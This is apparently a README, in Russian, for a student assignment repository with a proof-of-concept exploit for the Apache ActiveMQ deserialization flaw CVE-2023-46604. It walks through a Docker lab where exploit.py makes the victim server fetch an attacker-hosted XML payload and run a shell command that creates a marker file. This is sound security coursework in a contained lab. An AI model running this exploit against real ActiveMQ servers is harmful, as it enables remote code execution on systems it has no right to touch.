CVE-2023-46604: Apache ActiveMQ RCE Доказательство концепции

Задание: SSP Assignment 3 Команда: RCE You Later Участники: Banica Horia Alexandru, Comarlau Vlad-Constantin

Ссылка на видео использования репозитория для выполнения PoC: https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 Обзор

Этот репозиторий содержит полностью функциональное доказательство концепции (PoC) для CVE-2023-46604. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды оболочки на уязвимом сервере Apache ActiveMQ (версия 5.15.10) путем принудительной десериализации вредоносного XML-файла конфигурации.

Цель: Создать файл с именем pwned_by_ssp_team внутри сервера-жертвы, чтобы доказать, что мы получили контроль.

---

🛠️ Предварительные требования

Перед запуском эксплойта убедитесь, что у вас есть:

1. Docker и Docker Compose (установлены и запущены)
2. Python 3

---

📂 Структура репозитория

• vulnerable-env/: Содержит Docker-настройку для сервера-жертвы.
• attacker/: Содержит скрипты эксплойта и вредоносные полезные нагрузки.
  • exploit.py: Python-скрипт, отправляющий вредоносный пакет.
  • serve.py: Простой HTTP-сервер для размещения XML-полезной нагрузки.
  • poc.xml: Вредоносный файл конфигурации, содержащий команду touch /tmp/pwned_by_ssp_team.

---

🚀 Пошаговое руководство по использованию

Шаг 1: Запуск жертвы (ActiveMQ)

Мы запустим старую уязвимую версию ActiveMQ с помощью Docker.

1. Откройте терминал.
2. Перейдите в папку vulnerable-env:

   cd vulnerable-env
   

3. Запустите контейнер:

   docker-compose up -d
   

4. Подождите 30 секунд, чтобы сервер полностью запустился.

Шаг 2: Размещение вредоносного XML

Сервер-жертва должен загрузить инструкции от нас. Мы настроим небольшой веб-сервер для размещения этих инструкций.

1. Откройте второй терминал.
2. Перейдите в папку attacker:

   cd attacker
   

3. Запустите веб-сервер на Python:

   python3 serve.py
   

   Оставьте этот терминал открытым! Вы должны увидеть "Serving HTTP on 0.0.0.0 port 8000..."

Шаг 3: Запуск эксплойта

Теперь мы отправляем специальный сетевой пакет, который запускает уязвимость.

1. Откройте третий терминал.

2. Перейдите в папку attacker:

   cd attacker
   

3. Запустите скрипт эксплойта.

   • Примечание: Если вы на macOS или Windows, используйте команду ниже точно так, как написано.

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Пользователи Linux: Если вы на Linux, замените host.docker.internal на шлюз сетевого моста, обычно: 172.17.0.1. Попробуйте получить адрес следующим образом, если предложенный не работает: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Шаг 4: Проверка взлома

Сработало? Давайте проверим, был ли создан файл внутри контейнера.

1. Вернитесь в первый терминал (или любой другой).
2. Выполните эту команду для проверки папки /tmp внутри жертвы:

   docker exec activemq-victim ls -l /tmp
   

3. Успех: Вы должны увидеть файл с именем pwned_by_ssp_team.

🧹 Очистка

Чтобы остановить и удалить уязвимый контейнер:

cd vulnerable-env
docker-compose down